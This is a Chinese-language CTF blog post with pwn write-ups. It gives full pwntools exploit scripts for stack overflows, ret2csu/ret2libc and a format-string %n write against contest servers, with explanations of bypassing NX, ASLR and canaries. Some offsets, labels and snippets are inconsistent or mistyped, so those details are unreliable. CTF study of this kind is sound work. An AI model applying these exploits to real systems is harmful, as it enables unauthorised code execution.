geek challenge pwn

kine 发布于 2025-11-18 57 次阅读


pwn

mission cipher text wp

下载附件打开,找到mian函数大概是这个样子,依次了解一下每一段意思/

  • __fastcall:一种调用约定,参数主要通过寄存器传递,而不是栈,速度略快。
  • argc:命令行参数数量。
  • argv:命令行参数数组。
  • envp:环境变量数组(可选,有些程序用到环境变量)。
  • n2 是一个局部变量,用于存储用户选择的菜单项。
  • 注释里 [rsp+Ch] [rbp-4h] 是反汇编中显示的栈偏移,不影响逻辑。
  • init():初始化程序(比如设置缓冲区、打开文件、初始化随机数)。
  • banner():显示欢迎界面或程序标题。
  • menu():打印用户选择菜单
  • 如果用户选择 1:调用 output_history(),可能打印历史记录。
  • 如果用户选择 2:调用 submit_feedback(),可能提交反馈。
  • 如果用户选择其他数字:直接退出程序。,可能打印历史记录。

打开output_history()是打印一段编码,不存在漏掉,接下来仔细查看2函数

  • buf 是一个 32 字节的局部数组,用来存储用户的输入。
  • [rsp+0h] [rbp-20h] 是栈上的偏移信息
  • read(0, buf, 0x100uLL);

buf只能存32字节,但是read让你能够读256字节的数据,显然是一个栈溢出类型的漏洞

但是注意close(1)这个函数打开后翻译一下发现他会关掉stdout(标准输出) ,意思就是你拿到shell,但是你的命令并不会有回显,我们需要再次定向到fd2,这是这一题的关键

但是如果手动给cat falg的定向会有很大失败的可能,我搜索了发现

  • stderr 也被关闭或被重定向:如果 target 进程在别处也关闭或重定向了 fd 2,那么 >&2 无效。你可以先试 echo hi >&2 看能否收到 hi
  • 你没有真正拿到可执行命令的 shell:有些 backdoor 只是跑小函数而不是 /bin/sh;那种情况发 cat 命令当然没反应。
  • shell 的解析器差异:大多数 sh/bash 都支持 >&2,但极少数受限环境的原始 shell 语法可能不同。备用写法:cat flag > /dev/stderr(更通用但依赖 /dev/stderr 存在)。
  • 时序问题:你要在 shell 可用后再发命令(不然命令会被当成输入到 submit_feedback 的 read)。用 time.sleep + recv/recvuntil 更稳。

显然我们需要在攻击脚本里直接定向,我们拿到shell后可以直接cat flag

先checksec一下

发现是有NX保护的,

NX保护:当程序尝试在这些区域执行代码时,CPU会抛出异常,从而阻止攻击者利用栈溢出漏洞执行shellcode。例如,当程序溢出并覆盖栈上的返回地址时,NX保护会阻止攻击者跳转到恶意代码区域,从而保护系统的完整性。

但是这个题还有 SHSTK(影子栈)。把它想象成在柜台后面多放了一个保镖的签到本:每次函数调用时,会额外把“合法返回地址”记到影子栈上;函数返回时,系统会把实际返回地址和影子栈的签名比一比,如果不一致就立刻报警(杀进程)。

显然要构造ROP链,是一个 ret2csu题

#!/usr/bin/env python3
from pwn import *
import time

# defaults (hard-coded, no CLI override)
host  = 'geek.ctfplus.cn'
port  = 30088
offset = 40
ret_gadget = 0x40101a
backdoor = 0x4014ab

context.arch = 'amd64'

def build_payload(off, ret, bdoor):
    return b'A'*off + p64(ret) + p64(bdoor)

def main():
    print(f"[+] {host}:{port}  -> sending payload, then interactive")
    p = remote(host, port, timeout=8)

    try:
        p.recvuntil(b'choice > ', timeout=3)
    except:
        pass
    p.sendline(b'2')

    try:
        p.recvuntil(b'Please enter your feedback:', timeout=3)
    except:
        pass

    payload = build_payload(offset, ret_gadget, backdoor)
    p.sendline(payload)
    time.sleep(0.3)

    print("[+] Payload sent. Dropping to interactive. If you get a shell, run:")
    print("    exec 1>&2 && cat flag.txt   # recommended")
    print("or  cat flag.txt >&2")
    p.interactive()

if __name__ == '__main__':
    main()

手搓不出来,只能当积累经验了,顺便了解一下ret2csu

原理

ret2csu 是指利用 ELF 文件的 _init 段中的 __libc_csu_init 函数,构造一个 ROP 链来调用任意函数。

利用x64下__libc_csu_init函数中的gadgets.(64位传参机制导致,但我们不会每次都精准找到每个寄存器对应的gadgets)

什么是gadgets?

gadgets是一段对寄存器进行操作的汇编指令,比如pop ebp;pop eax;每一条指令对应着一段地址将这些gadgets部署到栈中,__ sp指针指向某gadget时发现对应地址中是一条指令而不是一条数据后就会将该地址弹给 __ ip指针, __ip指针会执行该地址中存放的汇编指令,完成对寄存器的操作.(某一gadget-0x1a得到上一gadget

此函数对libc进行初始化,而一般的程序都会调用libc函数,则此函数一定存在.

在 x86_64 下,__libc_csu_init 的核心部分通常如下:

__libc_csu_init:
    push    rbx
    push    rbp
    push    r12
    push    r13
    push    r14
    push    r15
    mov     r12, edi      ; r12 = argc
    mov     r13, rsi      ; r13 = argv
    ...
loop_start:
    mov     rdx, r14
    mov     rsi, r13
    mov     edi, r12
    call    QWORD PTR [r15+rdx*8]   ; 调用函数
    ...

关键点:

  1. 有一条 call [r15+rdx*8],也就是通过寄存器控制函数调用。
  2. rdi、rsi、rdx 可以被控制,用作 函数参数
  3. r12、r13、r14、r15、rbx、rbp 都在栈上可控。
  4. 我们可以利用这些指令构造一个 ROP 链,调用任意函数。

核心思想:

  • 找到 __libc_csu_init 的两个 ROP gadget:
  • Gadget1(初始化寄存器)
pop rbx
pop rbp
pop r12
pop r13
pop r14
pop r15
ret

可以通过栈控制 r12~r15 等寄存器的值。

  • Gadget2(调用函数)
mov rdx,r14
mov rsi,r13
mov edi,r12d
call [r15+rdx*8]

将寄存器作为函数参数,调用指定函数。

  • 使用 Gadget1 设置好 rdi、rsi、rdx、r15(函数地址)等寄存器。
  • 跳到 Gadget2 执行调用。
  • 如果需要多次调用函数,可以重复使用。

假设我们要调用一个函数:

void target(int a, int b, int c);

可以通过 ret2csu 构造 ROP 链如下:

[溢出填充]                # 栈溢出到返回地址
Gadget1 地址              # pop rbx; pop rbp; pop r12; pop r13; pop r14; pop r15; ret
值 rbx
值 rbp
r12 = a (edi)
r13 = b (rsi)
r14 = c (rdx)
r15 = target 函数地址      # call [r15+rdx*8]
Gadget2 地址              # mov rdx,r14; mov rsi,r13; mov edi,r12d; call [r15+rdx*8]

注意 r15+rdx*8 是偏移调用,通常我们将 rbx 设置为 0,这样 r15+0 = 函数地址。

找 gadget(工具与命令)

# 搜 pop rdi
ROPgadget --binary ./binary --only "pop rdi" 
# 或更全面
ROPgadget --binary ./binary | egrep "pop rdi|pop rsi|pop rdx|ret|call rax|call r12|pop rbp|pop r12"
# ropper 也常用:
ropper --file ./binary --search "pop rdi"

常见你需要的 gadget:

  • pop rdi; ret
  • pop rsi; pop r15; retpop rsi; ret
  • pop rdx; ret(不总是有)
  • ret(用于栈对齐)
  • __libc_csu_init 对应的两段 gadget(若 pop rdi 不存在)

泄露 libc 地址(常用模板

如果没有 PIE(binary 基址固定),你可以在本地直接 leak libc:
目标:用 ROP 调用 puts(puts@got),然后返回到 main

pwntools 模板(本地 test / 远端 leak 都相同思路):

from pwn import *
elf = ELF('./binary')
p = process('./binary')   # or remote(host,port)

OFFSET = 40   # 根据你的分析计算
pop_rdi = 0x4012ab  # example
puts_plt = elf.plt['puts']
puts_got = elf.got['puts']
main = elf.symbols['main']

payload = b'A'*OFFSET + p64(pop_rdi) + p64(puts_got) + p64(puts_plt) + p64(main)
p.sendline(payload)
p.recvline()               # maybe banner
leak = p.recvline().strip()  # read leaked bytes
leaked_puts = u64(leak.ljust(8,b'\x00'))
log.info("puts leak: %#x" % leaked_puts)

计算 libc base:

libc = ELF('/lib/x86_64-linux-gnu/libc.so.6')   # 本地或比赛给的 libc
libc_base = leaked_puts - libc.symbols['puts']
system = libc_base + libc.symbols['system']
binsh = libc_base + next(libc.search(b'/bin/sh'))

构造最终 ROP(ret2libc 示例

注意栈对齐(如果第一次 call 崩溃或行为异常,就插入 ret gadget 来修复对齐)。参考nss wp pwn1

简单示例:

# second stage
rop = b'A'*OFFSET
# 可选:rop += p64(ret_gadget)    # 如果需要 16-byte 对齐
rop += p64(pop_rdi) + p64(binsh) + p64(system)
p.sendline(rop)
p.interactive()

对齐说明:在 x86_64 下,call 之前 %rsp 应该是 16 字节对齐。插入单个 ret 会把 %rsp 增加 8,从而翻转 %rsp%16。用 rop.raw(p64(ret_gadget))rop.ret()(pwntools 新版本)插入。

泄露地址(补充)

  1. 返回地址(return address) → 栈上,用来函数结束后跳转回调用点。
  2. 栈地址(stack address) → buf、局部变量所在的位置。
  3. 全局/静态数据段地址(.data/.bss) → 常量、全局变量所在位置。
  4. libc/动态库函数地址 → system、puts、read 等库函数的真实内存地址。

现代系统启用了 ASLR,意味着每次运行程序,这些地址都会随机化。如果你硬编码一个地址,它可能在下一次程序运行时失效。

泄露地址就是通过某种漏洞把这些随机地址打印或返回给我们,从而知道它们的实际值。
这就像你在黑盒房间里找出口,泄露地址就像有人给你在墙上画了地图,告诉你关键门的位置。

泄露的场景

  • 绕过 ASLR / PIE
  • x86_64 下,stack、heap、libc 地址随机化。你想跳转到 system("/bin/sh"),需要知道 system 在内存中的真实地址。
  • 如果你不知道真实地址,ROP gadget 或 ret2libc 就没法精确调用。
  • ROP 链构造
  • 构造 ROP 链时,需要精确写入地址。如果 stack 或 libc 基址未知,写入的地址可能无效。
  • 泄露 stack 地址,做 stack pivot
  • 有时候我们需要在栈上写更大 payload,知道栈地址可以做 pivot,把栈指针改到我们可控。

泄露方法

直接打印 / printf 泄露

例如程序有:

printf(buf);
  • 如果 buf 是用户可控,输入 %p%lx 可以打印栈或 libc 地址:
Input: %p %p %p %p
Output: 0x7fff12345678 0x555555554000 0x7ffff7a33450 ...
  • 第一个值可能是栈地址,第二个值可能是程序基址,第三个值可能是 libc 函数地址。

形象比喻:就像问程序“你桌子上放的第一本书是什么”,程序给你回答,你就知道书(地址)的位置。


泄露 GOT 表 / PLT 地址

程序里有 GOT (Global Offset Table),存放库函数真实地址。比如:

  • puts@GOT → 存放 libc 的 puts 地址
  • 利用一个 ROP gadget 或直接 read/printf,可以把 GOT 的值打印出来:
puts_got = elf.got['puts']
p.sendline(p64(puts_got))
  • 接收到值后,用它计算 libc 基址:
libc_base = leaked_puts - libc.symbols['puts']
system_addr = libc_base + libc.symbols['system']

形象比喻:GOT 就像图书馆目录表,记录每本书在库房的实际位置。泄露 GOT 地址就知道每本书的确切位置。


栈地址泄露

有些程序会打印 stack 变量的地址:

printf("%p\n", &buf);
  • 得到 stack 地址后,可以用它构造精确 payload(例如 ret2buf,或者 stack pivot 到 buf)。

形象比喻:你看到桌子上的便签纸写了“我的抽屉在第 42 格”,你就知道 buf 在栈上的位置。

利用泄露地址做 ROP

  1. 泄露一个函数地址
  • 比如 puts@GOTread@GOT
  • 用 ROP 调用 puts,把 GOT 地址打印出来

计算 libc 基址

libc_base = leaked_puts - libc.symbols['puts']

计算 system / "/bin/sh" 地址

system_addr = libc_base + libc.symbols['system']
binsh_addr  = libc_base + next(libc.search(b"/bin/sh"))

构造 ROP 链,调用 system("/bin/sh")

极客太难了,学习一下基础题

rip wp

打开ida

char s给了15个字节,但是gets函数不会检查长度,无论你输入多少都会打印出来,是一个最基础的栈溢出题目,我们需要在前面填充数据,到达栈顶程序就会返回,我们可以把返会的地址修改为后门函数bin/sh的地址,就能获得shell,这就是漏掉所在,我们点击s查看在栈上的位置

s的位置是0xf,返回地址是0x8,所以偏移地址是0xf加8,所以就是15+8=23个字节,打开fun函数会发现后门函数就在里面,所以我们要修改的地址就是这个函数的地址,开始学习编写脚本

form pwn impornt*//引入pwn库的所有功能,你的每一个脚本都会伴随他
p=remote("node4.buuoj.cn",27450)//p是一个变量方便后续发送建立连接
payload='A'*15+'B'*8+p64(0x401186+1).decode("iso-8859-1")//char s的15个字节+RBP的8字节+fun函数入口地址,+1为了堆栈平衡,p64()发送数据时,是发送的字节流,也就是比特流(二进制流)。
p.sendline(payload)//连接并发送payload
p.interactive()//进入交互环境

这就是最基础的命令,我们可以直接nano建立脚本并用python运行

原理了解一下

  • 编程错误:使用不安全的函数(strcpy, gets, 未检查 fread/read 的长度),对用户输入长度未进行限制。
  • 缺少边界检查的自定义代码(手写循环、memcpy 长度错误等)。

确定偏移(find offset)

  • 使用 cyclic pattern(或 pwntools 的 cyclic)发送大量数据,触发崩溃后用 gdb 查看 RIP 的值并用 cyclic_find 找到偏移。
  • 示例(pwntools):
from pwn import *
p = process('./vuln')
p.sendline(cyclic(200))
p.wait()
core = p.corefile
rip_value = core.rip
print(cyclic_find(rip_value))

常见利用技术(与栈溢出配合)

  • 返回到 shellcode(stack + ret to shellcode):栈可执行时直接跳转到注入的 shellcode。
  • ret2libc:覆盖返回地址为 libc 中 system 的地址、把参数指向 /bin/sh 在内存中的位置。
  • ROP(Return Oriented Programming):拼接短小的指令序列(gadgets)来完成任意计算/调用。
  • ret2csu:利用 ELF 的 __libc_csu_init gadget(上一篇笔记已经详细讲过)。
  • SROP(Sigreturn-oriented Programming):构造 sigreturn frame 来设置寄存器/执行 syscall(高级技巧)。
  • 格式化/信息泄露 + ROP:先泄露地址,再构造 ROP。

各种保护:

  • NX(Non-executable stack)
  • 保护:禁止在栈上执行代码。
  • 绕过:使用 ROP / ret2libc / ret2csu 等不需要执行栈上代码的方法;或用 mprotect/mmap ROP 改变权限后执行。
  • ASLR(地址空间布局随机化)
  • 保护:随机化堆/栈/库基址,使硬编码地址失效。
  • 绕过:信息泄露(leak)拿到基址,或利用部分转移/相对地址(如 GOT 泄露、或 binary 没有 PIE,只随机 libc)。
  • Canary / Stack Canary(栈金丝雀
  • 保护:在返回地址前放置随机值,溢出必须覆盖 canary,否则程序崩溃。
  • 绕过:泄露 canary(info leak)或用其他漏洞绕过,比如覆盖函数指针而非返回地址。
  • PIE(位置无关可执行)
  • 保护:使二进制本身基址随机化(需要泄露或绕过)。
  • 绕过:泄露 binary base。
  • RELRO / GOT 硬化
  • Partial/Full RELRO 防止覆盖 GOT 指针(Full RELRO 使 GOT 不可写)
  • 绕过:利用可写段或动态链接器劫持技巧(复杂)。
  • Fortify / Stack protector / ASLR 的组合
  • 多重防护通常需要多种绕过手段:leak + canary 泄露 + ROP 等

[第五空间2019 决赛]PWN5 wp

main一大堆,bin/sh就在函数里,直接开始分析main函数,前面一大堆应该是定义先不管,直接找到关键的代码问ai

v7 = &a1; // 冗余赋值,无实际意义
v6 = __readgsdword(0x14u); // 读取栈保护(GS)的cookie值(用于后续检测栈溢出)
setvbuf(stdout, 0, 2, 0); // 设置stdout为无缓冲模式(确保输出实时刷新)

// 生成随机密码buf_
seed = time(0); // 获取当前时间戳作为随机数种子
srand(seed); // 初始化随机数生成器(但后续未直接使用rand(),可能是冗余代码)
fd = open("/dev/urandom", 0); // 打开Linux系统的随机数设备(/dev/urandom生成高质量随机数)
read(fd, &buf_, 4u); // 从/dev/urandom读取4字节(32位)数据到buf_(这是真正的随机密码)

应该是一个输入用户名然后再输入密码的程序,但是代码的printf(buf)显然是一个格式化字符串漏洞

  • 如果你在输入里写 %x%x%x(类似 “拿货架第 1、2、3 个东西”),printf 会乖乖从栈上读取这三个位置的数据并打印出来 —— 这就是泄露内存(比如泄露密码、程序地址等)。
  • 如果你写 %n(类似 “把刚才拿的东西数量记到货架第 5 层的盒子里”),printf 会把已经输出的字符数写入到栈上对应地址的内存中 —— 这就是修改内存(比如修改密码验证的关键变量,直接通过验证)。

这个题就是在输入name里你可以输入其他东西,但是程序还是会依次打印出来,就能找到其中存在buf上的密码

  • 输入 %x%x%x 时,printf 会从栈上读取第 1、2、3 个参数(以 16 进制打印);
  • 输入 %10$x 时,会直接读取栈上第 10 个参数($ 是指定参数位置的格式符)。

知道这个后我们就可以手动去找buf在栈上的偏移量,通俗来讲就是

输入 aaaa%x%x%x%x%x%xaaaa 是标记,ASCII 码为 0x41414141)。

printf 会打印 Hello,aaaa followed by 栈上的多个 16 进制数据。由于 buf(用户输入)本身的地址也在栈上,输入的 aaaa 会作为栈上的一段数据出现。假设在输出中,0x41414141 出现在第 5 个 %x 的位置,说明 buf 的起始地址是栈上的第 5 个参数。

buf_ 是程序在栈上定义的变量,位置在 bufnptr 附近(栈上变量按定义顺序从高地址到低地址排列),因此继续增加 %x 的数量,就能找到 buf_ 对应的参数位置(比如第 10 个参数)。

检查一下文件

发现是32位的程序,直接手动寻找偏移

显然偏移是10,我们找到unk 读取的地址就可以开始写脚本了,

from pwn import *
r = remote("node5.buuoj.cn", 28725)
payload = p32(0x804C044) + b'%10$n' 
//p32(0x804C044):把buf_的地址打包成32位二进制数据(小端序,符合32位程序内存布局)
//b'%10$n':格式化字符串指令,%10$n表示操作栈上第10个参数指向的地址
r.recvuntil('your name:')  
r.sendline(payload)
//此时 buf_ 已经被修改为 4,程序会接着提示 “your passwd:”,我们只需要输入 4 即可通过验证。
r.recvuntil('your passwd:') 
r.sendline(str(4)) //(字符串形式,因为程序用read读取后会用atoi转换为整数)
r.interactive()  

依然用py运行脚本

格式化字符串漏洞原理:

C 语言的格式化函数(如 printf(const char *fmt, ...))依赖调用者提供的格式字符串来决定如何读取栈上的参数。如果格式字符串来自不信任的输入(例如 printf(user_input); 而不是 printf("%s", user_input);),攻击者可以在输入中放置格式说明符(如 %x, %s, %p, %n 等),这些说明符会导致 printf 读取栈上本不应读取的数据,甚至写回内存(%n)——从而造成信息泄露或任意写。

常见可用的格式说明符与用途

  • %x / %08x:按 16 进制打印栈上的 32/64 位值(用于泄露)。
  • %p:打印指针(泄露地址)。
  • %s:把栈上的一个地址当作指针去读字符串(间接读)。
  • %n:把到目前为止已经输出的字符数写入对应参数指向的内存(强大写原语)。
  • %hn, %hhn:向 2 字节 / 1 字节写入(用于精确写)。
  • %<number>$x(位置修饰符):直接访问栈上第 N 个参数(方便定位,不用猜偏移)

两类主要攻击模式

  1. 信息泄露(read primitive)
    利用 %x/%p/%s/%<N>$x 泄露栈、GOT、libc 等地址,从而击败 ASLR / PIE,得到可利用的地址信息。
  2. 任意写(write primitive)
    利用 %n(及 %hn%hhn)把已输出的字符数写入任意地址(需把目标地址放在栈上作为参数),从而修改函数指针、GOT 表项、返回地址等,达到代码执行。

大概流程

  • 确认漏洞点:搜索代码中 printf(user), fprintf(fd, user), syslog(user) 等不带格式字符串的调用。
  • 找到偏移(栈参数位置):通过输入 %1$p %2$p ...AAA.%1$x.BBB 等,观察输出确定哪一项对应输入或可控数据。
  • 泄露关键地址:用 %<N>$p 泄露返回地址、栈地址、libc 地址或 GOT 表项(例如打印 puts@GOT 的地址内容)。
  • 构造写入地址(把目标地址放上栈):把要写入的目标地址放入输入(通常作为前缀),并在格式串中使用对应的位置修饰符,例如 %10$hn
  • 精确写入:使用 %n / %hn / %hhn 分段写入(按字节/两字节)并利用宽度修饰符如 %<width>x 来控制已输出字符数,使写入的值精确到目标值(常结合多个 %hn 写低字节到高字节)。
  • 验证与触发:若写入成功,触发被修改的函数(比如再次调用 GOT 表项或返回)得到代码执行或 shell。

可以先通俗的理解一下这个题

随便翻翻在last_love找到bin/sh后门函数,记录下地址402098,找到leave函数地址

检查一下程序保护,总结

  • read/write 溢出read(…, buffer, 0x32) 写入长度比 buffer 的实际空间大(或临近可控目标),产生覆盖。
  • GOT/函数指针覆写:覆盖全局 GOT 表中的函数指针(例如 puts@GOT)能改变函数调用去向。
  • 跳到后门函数:将 GOT/返回地址改为 leave(),通过触发该函数调用来执行后门。
  • IBT / ENDBR64(间接分支追踪):x86_64 新的控制流保护可能在函数入口放 ENDBR64,如果直接跳入地址的第一条不是 ENDBR64,可能会出现问题。有时需要将跳转地址偏移(leave + 1leave + 4 等)以避开对齐问题 —— 具体要根据目标的二进制产生情况来试。
  • 识别环境保护:本题 NX 开启、PIE 关闭、RELRO 部分、Canary 无(这些决定了能否直接覆盖 GOT/返回地址,或是否需要泄露基址等)。

编写脚本,注意栈对齐问题

#!/usr/bin/env python3
from pwn import *

# 远程地址和端口
HOST = 'geek.ctfplus.cn'
PORT = 30115

# 跳过 ENDBR64 的目标函数地址
LEAVE_ADDR = 0x4012b8

# 栈溢出偏移
OFFSET = 40

def exploit():
    # 建立远程连接
    p = remote(HOST, PORT)

    # 选择菜单选项 3 -> love_me()
    p.recvuntil(b'cin >> :')
    p.sendline(b'3')

    # love_me() 会打印提示等待输入
    p.recvuntil(b'love')

    # 构造 payload: padding + leave 地址
    payload = b'A' * OFFSET + p64(LEAVE_ADDR)
    p.send(payload)

    # 触发漏洞函数,选择 1 或 2 均可
    p.recvuntil(b'cin >> :')
    p.sendline(b'1')  # 1 = miss_me(),会触发 puts(buffer)

    # 等待输出
    p.interactive()  # 切换到交互,自己执行命令

if __name__ == '__main__':
    exploit()

old rop

太阴了这个题,不是栈对不齐就是libc路径不对,先看主函数找漏洞

题目说明了是ret2csu类的题,看一下read危险函数

ssize_t read_()
{
  _BYTE buf[128]; // [rsp+0h] [rbp-80h] BYREF

  return read(0, buf, 0x200uLL);
}

缓冲区只有128字节,读取512字节,明显是个栈溢出的漏洞,checksec一下

  • Partial RELRO: GOT表可写,但不需要修改
  • No canary: 可以直接栈溢出,无需绕过canary
  • NX enabled: 栈不可执行,必须使用ROP技术
  • No PIE: 代码段地址固定,gadget地址不变
  • Stripped: 符号表被剥离,需要手动分析

查找gadget(gadget是一小段以ret(返回)指令结尾的机器指令序列,并给出了详细的gadget解释)

ROPgadget --binary "/home/kali/桌面/rop" | grep "pop rdi"

应该会输出:0x00000000004012d3 : pop rdi ; ret

解释gadget:在栈溢出攻击中,我们控制了返回地址,但只能执行一次跳转。为了执行复杂的操作,我们需要链式调用多个gadget。

列出一些常见gadget

  1. 寄存器控制类
  • pop rdi ; ret - 控制第一个参数
  • pop rsi ; ret - 控制第二个参数
  • pop rdx ; ret - 控制第三个参数
  1. 内存操作类
  • mov [rdi], rsi ; ret - 内存写入
  • mov rax, [rdi] ; ret - 内存读取
  1. 算术运算类
  • add rax, rbx ; ret - 加法运算

查找方式:

# 使用ROPgadget工具
ROPgadget --binary ./pwnfile

# 查找特定的gadget
ROPgadget --binary ./pwnfile | grep "pop rdi"

我们寻找gadget是为了构造rop链,我也会形象解释什么是rop,

ROP(Return-Oriented Programming,面向返回的编程)是一种高级攻击技术:

  1. 在现有程序中寻找有用的gadget
  2. 通过栈溢出构造gadget调用链
  3. 组合这些gadget完成复杂操作

举例,正常函数调用:

调用函数A → 执行A → 返回 → 调用函数B → ...

ROP调用链:

覆盖返回地址为gadget1 → 执行gadget1 → 返回到gadget2 → 执行gadget2 → ...

但是这个题的关键与难点在于libc库,他里面包含了我们需要的函数,比如system("bin/sh"),但是由于ASLR(地址空间布局随机化)保护,每次运行程序时,libc的加载地址都不同,所以我们要通过泄露函数地址来计算libc地址

泄露的write地址 = libc基址 + write在libc中的偏移
libc基址 = 泄露的write地址 - write在libc中的偏移
system地址 = libc基址 + system在libc中的偏移

我们先检查libc文件

file "/home/kali/桌面/libc/libc.so.6"

查找write函数偏移

readelf -s "/home/kali/桌面/libc/libc.so.6" | grep " write@@"

输出2948: 000000000011c560 157 FUNC WEAK DEFAULT 17 write@@GLIBC_2.2.5
write偏移:0x11c650

查找system函数偏移

readelf -s "/home/kali/桌面/libc/libc.so.6" | grep " system@@"

输出1050: 0000000000058750 45 FUNC WEAK DEFAULT 17 system@@GLIBC_2.2.5
system偏移:0x58750

查找bin/sh函数偏移

strings -t x "/home/kali/桌面/libc/libc.so.6" | grep "/bin/sh"

输出1cb42f /bin/sh
/bin/sh偏移:0x1cb42f

这个题一定要找对正确的libc路径!!!不然偏移会不一样

最后要求栈对齐!x64架构要求函数调用时RSP寄存器16字节对齐。如果不对齐,某些函数(特别是libc函数)会崩溃。

payload += p64(ret_gadget)  # 额外的ret指令调整栈指针

给出详细的exp解释

#!/usr/bin/env python3
from pwn import *

context.arch = 'amd64'
context.os = 'linux'
context.log_level = 'info'

def exploit():
    # 连接远程目标
    p = remote('geek.ctfplus.cn', 30559)
    
    # === 第一阶段:泄露libc地址 ===
    print("=== Stage 1: Leaking libc address ===")
    
    # 接收欢迎信息
    p.recvuntil(b"welcome to ret2csu , but there is sometings different,please care about it !")
    
    # Gadget地址(通过反汇编获取)
    csu_pop = 0x4012ca      # __libc_csu_init中的pop gadget
    csu_call = 0x4012b0     # __libc_csu_init中的call gadget  
    ret_gadget = 0x4012d4   # 用于栈对齐的ret
    pop_rdi = 0x4012d3      # pop rdi ; ret
    main_addr = 0x40117b    # main函数地址
    write_got = 0x404018    # write在GOT表中的地址
    
    offset = 0x88           # 缓冲区到返回地址的偏移
    
    # 构建泄露payload
    payload1 = b'A' * offset
    payload1 += p64(csu_pop)
    payload1 += p64(0)      # rbx = 0
    payload1 += p64(1)      # rbp = 1 (避免循环)
    payload1 += p64(1)      # r12 -> edi = 1 (stdout)
    payload1 += p64(write_got) # r13 -> rsi = write@got
    payload1 += p64(8)      # r14 -> rdx = 8 (泄露大小)
    payload1 += p64(write_got) # r15 = write@got (函数指针)
    payload1 += p64(csu_call)
    payload1 += p64(0)      # csu_call后的栈调整
    payload1 += p64(0)*6    # 后续pop的填充
    payload1 += p64(main_addr) # 返回main函数
    
    print("Sending first payload for leak...")
    p.send(payload1)
    
    # 接收泄露的地址
    p.recvuntil(b'\n')
    leak_data = p.recv(6).ljust(8, b'\x00')
    write_addr = u64(leak_data)
    print(f"Leaked write address: {hex(write_addr)}")
    
    # === 计算libc基址和关键函数地址 ===
    # 使用题目提供的libc文件中的精确偏移
    write_offset = 0x11c560    # readelf -s libc.so.6 | grep " write@@"
    system_offset = 0x58750    # readelf -s libc.so.6 | grep " system@@"  
    binsh_offset = 0x1cb42f    # strings -t x libc.so.6 | grep "/bin/sh"
    
    libc_base = write_addr - write_offset
    system_addr = libc_base + system_offset
    binsh_addr = libc_base + binsh_offset
    
    print(f"Libc base: {hex(libc_base)}")
    print(f"System address: {hex(system_addr)}")
    print(f"/bin/sh address: {hex(binsh_addr)}")
    
    # 验证计算是否正确
    if (write_addr & 0xfff) == (write_offset & 0xfff):
        print("✓ Offset calculation correct!")
    else:
        print("✗ Offset calculation wrong!")
        return
    
    # === 第二阶段:获取shell ===
    print("=== Stage 2: Getting shell ===")
    
    # 等待程序返回main函数
    p.recvuntil(b"welcome to ret2csu , but there is sometings different,please care about it !")
    
    # 构建获取shell的payload
    payload2 = b'A' * offset
    payload2 += p64(ret_gadget)    # 栈对齐
    payload2 += p64(pop_rdi)       # pop rdi ; ret
    payload2 += p64(binsh_addr)    # rdi = "/bin/sh"地址
    payload2 += p64(system_addr)   # 调用system函数
    
    print("Sending shell payload...")
    p.send(payload2)
    
    print("=== Attempting to get shell ===")
    sleep(0.5)
    
    # 获取交互式shell
    p.interactive()

if __name__ == '__main__':
    exploit()

顺便解释一下ret2csu,他同样是一种rop技术,利用几乎每个Linux程序中都存在的__libc_csu_init函数中的特殊代码片段来构造强大的攻击链。

为什么需要ret2csu?

在x64架构中,我们面临一个严峻问题:

普通ROP的局限性

python

# 我们想调用:execve("/bin/sh", NULL, NULL)
# 需要控制:rdi, rsi, rdx 三个寄存器

# 但通常只能找到:
pop_rdi = 0x401233  # 控制第1参数
pop_rsi = 0x401235  # 控制第2参数(很少见!)
pop_rdx = ????????  # 控制第3参数(几乎找不到!)

ret2csu的解决方案:通过__libc_csu_init中的特殊gadget,我们可以一次性控制所有必要的寄存器!

__libc_csu_init是Glibc的初始化代码,负责:

  • 调用程序的初始化函数
  • 设置C++的全局构造函数
  • 其他启动时任务

关键特性:几乎所有的ELF可执行文件都包含这个函数!

理解ret2csu的关键是掌握寄存器映射:

寄存器在pop gadget中在call gadget中对应函数参数
r12第3个pop→ edi (低32位)第1参数
r13第4个pop→ rsi第2参数
r14第5个pop→ rdx第3参数
r15第6个pop→ 函数指针要调用的函数
rbx第1个pop→ 数组索引通常设为0
rbp第2个pop→ 循环控制通常设为1

通过设置rbx=0rbp=1,我们确保循环只执行一次:

asm

cmp rbp, rbx  ; 比较 1 和 0
jne 0x4012b0  ; 1 ≠ 0,所以跳转(执行一次循环)
add rbx, 0x1  ; rbx = 1
cmp rbp, rbx  ; 比较 1 和 1  
jne 0x4012b0  ; 1 = 1,不跳转!退出循环

栈布局设计

高地址
+-------------------+ ← RSP开始位置
| 填充数据 (0x88字节) |
+-------------------+
| csu_pop地址        | ← 覆盖的返回地址
+-------------------+
| rbx值 (0)          | ← pop rbx
+-------------------+
| rbp值 (1)          | ← pop rbp  
+-------------------+
| r12值 (参数1)      | ← pop r12 → edi
+-------------------+
| r13值 (参数2)      | ← pop r13 → rsi
+-------------------+
| r14值 (参数3)      | ← pop r14 → rdx
+-------------------+
| r15值 (函数指针)    | ← pop r15 → 调用的函数
+-------------------+
| csu_call地址       | ← 执行函数调用
+-------------------+
| 填充 (0)           | ← add rsp, 8
+-------------------+
| rbx (0)            | ← 后续pop填充
+-------------------+
| rbp (0)            |
+-------------------+
| r12 (0)            |
+-------------------+
| r13 (0)            |
+-------------------+
| r14 (0)            |
+-------------------+
| r15 (0)            |
+-------------------+
| 返回地址 (main)     | ← 攻击完成后返回
低地址
此作者没有提供个人介绍。
最后更新于 2025-11-18